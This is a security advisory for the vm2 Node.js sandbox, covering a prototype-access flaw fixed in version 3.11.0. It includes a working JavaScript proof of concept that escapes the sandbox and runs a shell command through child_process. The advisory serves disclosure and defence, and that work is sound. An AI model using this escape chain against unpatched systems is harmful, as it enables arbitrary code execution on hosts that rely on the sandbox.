vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes. This vulnerability is fixed in 3.11.0.
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes. This vulnerability is fixed in 3.11.0.
### Summary It is possible to reach `BaseHandler.getPrototypeOf`, which can be used to get arbitrary prototypes ### Details https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658 `BaseHandler` can be reached via `util.inspect` (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8) ### PoC ```js let obj = { subarray: Buffer.prototype.inspect, slice: Buffer.prototype.slice, hexSlice: () => '', }; let sym; obj.slice(10, { showHidden: true, showProxy: true, depth: 10, stylize(a) { const handler = this.seen && this.seen[1]; if (handler && handler.getPrototypeOf) { gP = handler.getPrototypeOf; HObjectProto = gP(gP(gP(gP(Buffer)))); HObject = HObjectProto.constructor; sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0); } return a; }, }); obj = { [sym]: (depth, opt, inspect) => { inspect.constructor('return process')() .getBuiltinModule('child_process') .execSync('id', { stdio: 'inherit' }); }, valueOf: undefined, constructor: undefined, }; WebAssembly.compileStreaming(obj).catch(() => {}); ``` ### Impact Sandbox Escape -> RCE
